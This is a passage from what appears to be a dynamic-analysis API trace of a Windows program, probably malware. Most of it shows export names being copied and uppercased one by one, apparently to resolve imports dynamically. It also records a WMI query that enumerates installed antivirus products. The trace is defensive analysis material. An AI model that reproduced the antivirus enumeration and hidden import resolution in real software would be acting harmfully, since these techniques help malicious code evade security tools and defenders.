lpString1="CoGetApartmentID") returned="CoGetApartmentID" [0040.764] lstrlenA (lpString="COGETAPARTMENTID") returned 16 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetApartmentType" | out: lpString1="CoGetApartmentType") returned="CoGetApartmentType" [0040.764] lstrlenA (lpString="COGETAPARTMENTTYPE") returned 18 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCallContext" | out: lpString1="CoGetCallContext") returned="CoGetCallContext" [0040.764] lstrlenA (lpString="COGETCALLCONTEXT") returned 16 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCallState" | out: lpString1="CoGetCallState") returned="CoGetCallState" [0040.765] lstrlenA (lpString="COGETCALLSTATE") returned 14 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCallerTID" | out: lpString1="CoGetCallerTID") returned="CoGetCallerTID" [0040.765] lstrlenA (lpString="COGETCALLERTID") returned 14 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCancelObject" | out: lpString1="CoGetCancelObject") returned="CoGetCancelObject" [0040.765] lstrlenA (lpString="COGETCANCELOBJECT") returned 17 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetClassObject" | out: lpString1="CoGetClassObject") returned="CoGetClassObject" [0040.765] lstrlenA (lpString="COGETCLASSOBJECT") returned 16 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetClassVersion" | out: lpString1="CoGetClassVersion") returned="CoGetClassVersion" [0040.765] lstrlenA (lpString="COGETCLASSVERSION") returned 17 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetComCatalog" | out: lpString1="CoGetComCatalog") returned="CoGetComCatalog" [0040.765] lstrlenA (lpString="COGETCOMCATALOG") returned 15 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetContextToken" | out: lpString1="CoGetContextToken") returned="CoGetContextToken" [0040.765] lstrlenA (lpString="COGETCONTEXTTOKEN") returned 17 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCurrentLogicalThreadId" | out: lpString1="CoGetCurrentLogicalThreadId") returned="CoGetCurrentLogicalThreadId" [0040.765] lstrlenA (lpString="COGETCURRENTLOGICALTHREADID") returned 27 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetCurrentProcess" | out: lpString1="CoGetCurrentProcess") returned="CoGetCurrentProcess" [0040.765] lstrlenA (lpString="COGETCURRENTPROCESS") returned 19 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetDefaultContext" | out: lpString1="CoGetDefaultContext") returned="CoGetDefaultContext" [0040.765] lstrlenA (lpString="COGETDEFAULTCONTEXT") returned 19 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetInstanceFromFile" | out: lpString1="CoGetInstanceFromFile") returned="CoGetInstanceFromFile" [0040.765] lstrlenA (lpString="COGETINSTANCEFROMFILE") returned 21 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetInstanceFromIStorage" | out: lpString1="CoGetInstanceFromIStorage") returned="CoGetInstanceFromIStorage" [0040.765] lstrlenA (lpString="COGETINSTANCEFROMISTORAGE") returned 25 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetInterceptor" | out: lpString1="CoGetInterceptor") returned="CoGetInterceptor" [0040.765] lstrlenA (lpString="COGETINTERCEPTOR") returned 16 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetInterceptorFromTypeInfo" | out: lpString1="CoGetInterceptorFromTypeInfo") returned="CoGetInterceptorFromTypeInfo" [0040.765] lstrlenA (lpString="COGETINTERCEPTORFROMTYPEINFO") returned 28 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetInterfaceAndReleaseStream" | out: lpString1="CoGetInterfaceAndReleaseStream") returned="CoGetInterfaceAndReleaseStream" [0040.765] lstrlenA (lpString="COGETINTERFACEANDRELEASESTREAM") returned 30 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetMalloc" | out: lpString1="CoGetMalloc") returned="CoGetMalloc" [0040.765] lstrlenA (lpString="COGETMALLOC") returned 11 [0040.765] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetMarshalSizeMax" | out: lpString1="CoGetMarshalSizeMax") returned="CoGetMarshalSizeMax" [0040.765] lstrlenA (lpString="COGETMARSHALSIZEMAX") returned 19 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetModuleType" | out: lpString1="CoGetModuleType") returned="CoGetModuleType" [0040.766] lstrlenA (lpString="COGETMODULETYPE") returned 15 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetObject" | out: lpString1="CoGetObject") returned="CoGetObject" [0040.766] lstrlenA (lpString="COGETOBJECT") returned 11 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetObjectContext" | out: lpString1="CoGetObjectContext") returned="CoGetObjectContext" [0040.766] lstrlenA (lpString="COGETOBJECTCONTEXT") returned 18 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetPSClsid" | out: lpString1="CoGetPSClsid") returned="CoGetPSClsid" [0040.766] lstrlenA (lpString="COGETPSCLSID") returned 12 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetProcessIdentifier" | out: lpString1="CoGetProcessIdentifier") returned="CoGetProcessIdentifier" [0040.766] lstrlenA (lpString="COGETPROCESSIDENTIFIER") returned 22 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetStandardMarshal" | out: lpString1="CoGetStandardMarshal") returned="CoGetStandardMarshal" [0040.766] lstrlenA (lpString="COGETSTANDARDMARSHAL") returned 20 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetStdMarshalEx" | out: lpString1="CoGetStdMarshalEx") returned="CoGetStdMarshalEx" [0040.766] lstrlenA (lpString="COGETSTDMARSHALEX") returned 17 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetSystemSecurityPermissions" | out: lpString1="CoGetSystemSecurityPermissions") returned="CoGetSystemSecurityPermissions" [0040.766] lstrlenA (lpString="COGETSYSTEMSECURITYPERMISSIONS") returned 30 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetTreatAsClass" | out: lpString1="CoGetTreatAsClass") returned="CoGetTreatAsClass" [0040.766] lstrlenA (lpString="COGETTREATASCLASS") returned 17 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoImpersonateClient" | out: lpString1="CoImpersonateClient") returned="CoImpersonateClient" [0040.766] lstrlenA (lpString="COIMPERSONATECLIENT") returned 19 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInitialize" | out: lpString1="CoInitialize") returned="CoInitialize" [0040.766] lstrlenA (lpString="COINITIALIZE") returned 12 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInitializeEx" | out: lpString1="CoInitializeEx") returned="CoInitializeEx" [0040.766] lstrlenA (lpString="COINITIALIZEEX") returned 14 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInitializeSecurity" | out: lpString1="CoInitializeSecurity") returned="CoInitializeSecurity" [0040.766] lstrlenA (lpString="COINITIALIZESECURITY") returned 20 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInitializeWOW" | out: lpString1="CoInitializeWOW") returned="CoInitializeWOW" [0040.766] lstrlenA (lpString="COINITIALIZEWOW") returned 15 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInstall" | out: lpString1="CoInstall") returned="CoInstall" [0040.766] lstrlenA (lpString="COINSTALL") returned 9 [0040.766] lstrcpyA (in: lpString1=0x34e408, lpString2="CoInvalidateRemoteMachineBindings" | out: lpString1="CoInvalidateRemoteMachineBindings") returned="CoInvalidateRemoteMachineBindings" [0040.766] lstrlenA (lpString="COINVALIDATEREMOTEMACHINEBINDINGS") returned 33 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoIsHandlerConnected" | out: lpString1="CoIsHandlerConnected") returned="CoIsHandlerConnected" [0040.767] lstrlenA (lpString="COISHANDLERCONNECTED") returned 20 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoIsOle1Class" | out: lpString1="CoIsOle1Class") returned="CoIsOle1Class" [0040.767] lstrlenA (lpString="COISOLE1CLASS") returned 13 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoLoadLibrary" | out: lpString1="CoLoadLibrary") returned="CoLoadLibrary" [0040.767] lstrlenA (lpString="COLOADLIBRARY") returned 13 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoLockObjectExternal" | out: lpString1="CoLockObjectExternal") returned="CoLockObjectExternal" [0040.767] lstrlenA (lpString="COLOCKOBJECTEXTERNAL") returned 20 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoMarshalHresult" | out: lpString1="CoMarshalHresult") returned="CoMarshalHresult" [0040.767] lstrlenA (lpString="COMARSHALHRESULT") returned 16 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoMarshalInterThreadInterfaceInStream" | out: lpString1="CoMarshalInterThreadInterfaceInStream") returned="CoMarshalInterThreadInterfaceInStream" [0040.767] lstrlenA (lpString="COMARSHALINTERTHREADINTERFACEINSTREAM") returned 37 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoMarshalInterface" | out: lpString1="CoMarshalInterface") returned="CoMarshalInterface" [0040.767] lstrlenA (lpString="COMARSHALINTERFACE") returned 18 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoPopServiceDomain" | out: lpString1="CoPopServiceDomain") returned="CoPopServiceDomain" [0040.767] lstrlenA (lpString="COPOPSERVICEDOMAIN") returned 18 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoPushServiceDomain" | out: lpString1="CoPushServiceDomain") returned="CoPushServiceDomain" [0040.767] lstrlenA (lpString="COPUSHSERVICEDOMAIN") returned 19 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoQueryAuthenticationServices" | out: lpString1="CoQueryAuthenticationServices") returned="CoQueryAuthenticationServices" [0040.767] lstrlenA (lpString="COQUERYAUTHENTICATIONSERVICES") returned 29 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoQueryClientBlanket" | out: lpString1="CoQueryClientBlanket") returned="CoQueryClientBlanket" [0040.767] lstrlenA (lpString="COQUERYCLIENTBLANKET") returned 20 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoQueryProxyBlanket" | out: lpString1="CoQueryProxyBlanket") returned="CoQueryProxyBlanket" [0040.767] lstrlenA (lpString="COQUERYPROXYBLANKET") returned 19 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoQueryReleaseObject" | out: lpString1="CoQueryReleaseObject") returned="CoQueryReleaseObject" [0040.767] lstrlenA (lpString="COQUERYRELEASEOBJECT") returned 20 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoReactivateObject" | out: lpString1="CoReactivateObject") returned="CoReactivateObject" [0040.767] lstrlenA (lpString="COREACTIVATEOBJECT") returned 18 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterChannelHook" | out: lpString1="CoRegisterChannelHook") returned="CoRegisterChannelHook" [0040.767] lstrlenA (lpString="COREGISTERCHANNELHOOK") returned 21 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterClassObject" | out: lpString1="CoRegisterClassObject") returned="CoRegisterClassObject" [0040.767] lstrlenA (lpString="COREGISTERCLASSOBJECT") returned 21 [0040.767] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterInitializeSpy" | out: lpString1="CoRegisterInitializeSpy") returned="CoRegisterInitializeSpy" [0040.768] lstrlenA (lpString="COREGISTERINITIALIZESPY") returned 23 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterMallocSpy" | out: lpString1="CoRegisterMallocSpy") returned="CoRegisterMallocSpy" [0040.768] lstrlenA (lpString="COREGISTERMALLOCSPY") returned 19 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterMessageFilter" | out: lpString1="CoRegisterMessageFilter") returned="CoRegisterMessageFilter" [0040.768] lstrlenA (lpString="COREGISTERMESSAGEFILTER") returned 23 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterPSClsid" | out: lpString1="CoRegisterPSClsid") returned="CoRegisterPSClsid" [0040.768] lstrlenA (lpString="COREGISTERPSCLSID") returned 17 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterSurrogate" | out: lpString1="CoRegisterSurrogate") returned="CoRegisterSurrogate" [0040.768] lstrlenA (lpString="COREGISTERSURROGATE") returned 19 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRegisterSurrogateEx" | out: lpString1="CoRegisterSurrogateEx") returned="CoRegisterSurrogateEx" [0040.768] lstrlenA (lpString="COREGISTERSURROGATEEX") returned 21 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoReleaseMarshalData" | out: lpString1="CoReleaseMarshalData") returned="CoReleaseMarshalData" [0040.768] lstrlenA (lpString="CORELEASEMARSHALDATA") returned 20 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoReleaseServerProcess" | out: lpString1="CoReleaseServerProcess") returned="CoReleaseServerProcess" [0040.768] lstrlenA (lpString="CORELEASESERVERPROCESS") returned 22 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoResumeClassObjects" | out: lpString1="CoResumeClassObjects") returned="CoResumeClassObjects" [0040.768] lstrlenA (lpString="CORESUMECLASSOBJECTS") returned 20 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRetireServer" | out: lpString1="CoRetireServer") returned="CoRetireServer" [0040.768] lstrlenA (lpString="CORETIRESERVER") returned 14 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRevertToSelf" | out: lpString1="CoRevertToSelf") returned="CoRevertToSelf" [0040.768] lstrlenA (lpString="COREVERTTOSELF") returned 14 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRevokeClassObject" | out: lpString1="CoRevokeClassObject") returned="CoRevokeClassObject" [0040.768] lstrlenA (lpString="COREVOKECLASSOBJECT") returned 19 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRevokeInitializeSpy" | out: lpString1="CoRevokeInitializeSpy") returned="CoRevokeInitializeSpy" [0040.768] lstrlenA (lpString="COREVOKEINITIALIZESPY") returned 21 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoRevokeMallocSpy" | out: lpString1="CoRevokeMallocSpy") returned="CoRevokeMallocSpy" [0040.768] lstrlenA (lpString="COREVOKEMALLOCSPY") returned 17 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoSetCancelObject" | out: lpString1="CoSetCancelObject") returned="CoSetCancelObject" [0040.768] lstrlenA (lpString="COSETCANCELOBJECT") returned 17 [0040.768] lstrcpyA (in: lpString1=0x34e408, lpString2="CoSetProxyBlanket" | out: lpString1="CoSetProxyBlanket") returned="CoSetProxyBlanket" [0040.768] lstrlenA (lpString="COSETPROXYBLANKET") returned 17 [0040.769] CoSetProxyBlanket (pProxy=0x1fbcfe4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0040.769] IWbemServices:ExecQuery (in: This=0x1fbcfe4, strQueryLanguage="WQL", strQuery="Select * From AntiVirusPr", lFlags=32, pCtx=0x0, ppEnum=0x11000c | out: ppEnum=0x11000c*=0x1fbc754) returned 0x0 [0040.790] IEnumWbemClassObject:Next (in: This=0x1fbc754, lTimeout=-1, uCount=0x1, apObjects=0x34f070, puReturned=0x34f074 | out: apObjects=0x34f070*=0x0, puReturned=0x34f074*=0x0) returned 0x1 [0040.794] lstrlenA (lpString="kernel32.dll") returned 12 [0040.794] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0040.794] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0040.794] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0040.794] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0040.794] lstrlenA (lpString="ADDATOMA") returned 8 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0040.794] lstrlenA (lpString="ADDATOMW") returned 8 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0040.794] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0040.794] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0040.794] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0040.794] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0040.794] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0040.794] lstrcpyA (in: lpString1=0x34e430, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0040.794] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0040.795] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0040.795] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0040.795] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0040.795] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0040.795] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0040.795] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0040.795] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0040.795] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0040.795] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0040.795] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0040.795] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0040.795] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0040.795] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0040.795] lstrlenA (lpString="BACKUPREAD") returned 10 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0040.795] lstrlenA (lpString="BACKUPSEEK") returned 10 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0040.795] lstrlenA (lpString="BACKUPWRITE") returned 11 [0040.795] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0040.796] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0040.796] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0040.796] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0040.796] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0040.796] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0040.796] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0040.796] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0040.796] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0040.796] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0040.796] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0040.796] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0040.796] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0040.796] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0040.796] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0040.796] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0040.796] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0040.796] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0040.797] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0040.797] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0040.797] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0040.797] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0040.797] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0040.797] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0040.797] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0040.797] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0040.797] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0040.797] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0040.797] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0040.797] lstrcpyA (in: lpString1=0x34e430, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0040.797] lstrlenA (lpString="BEEP") returned 4 [0040.797] lstrcpyA (in: lpString1=0x34e430, 